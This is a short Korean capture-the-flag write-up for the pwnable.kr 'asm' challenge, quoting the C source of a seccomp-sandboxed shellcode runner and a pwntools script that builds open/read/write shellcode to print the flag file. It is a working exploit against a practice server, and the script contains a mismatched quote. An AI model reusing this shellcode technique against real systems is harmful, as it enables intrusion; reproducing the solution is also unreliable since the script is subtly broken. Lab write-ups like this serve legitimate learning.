[Toddler's Bottle] asm

본격 토들러 다풀고 롸업쓰기

얍 쉘코드 만드는 문제인감

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/mman.h>

#include <seccomp.h>

#include <sys/prctl.h>

#include <fcntl.h>

#include <unistd.h>

#define LENGTH 128

void sandbox(){

scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);

if (ctx == NULL) {

printf("seccomp error\n");

exit(0);

}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){

seccomp_release(ctx);

printf("seccomp error\n");

exit(0);

}

seccomp_release(ctx);

}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";

unsigned char filter[256];

int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);

setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");

printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");

printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");

printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);

memset(sh, 0x90, 0x1000);

memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);

printf("give me your x64 shellcode: ");

read(0, sh+offset, 1000);

alarm(10);

chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp

sandbox();

((void (*)(void))sh)();

return 0;

}

SECCOMP 로 샌드박스 처리 되있고

고로  open read write 만 써서 flag 파일을 읽는건감,,

우리 갓갓친구 pwntool의 shellcodecraft를 사용해봅시당

계획은 open으로 겁나긴 파일 열고 read로 읽어서 스택에 저장하고 write 로 표준출력하는 걸로

---

from pwn import *

sh = ssh("asm","pwnable.kr",port=2222,password="guest")

p = sh.connect_remote("0", 9026)

context(arch="amd64", os="linux")

shellcode = shellcraft.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")

shellcode += shellcraft.open("rsp", 0, 0)

shellcode += shellcraft.read("rax', "rsp", 100)

shellcode += shellcraft.write(1, "rsp", 100)

p.recvuntil("shellcode: ")

p.send(asm(shellcode))

print p.recvline()

---

끝,,,, 개사기네진짜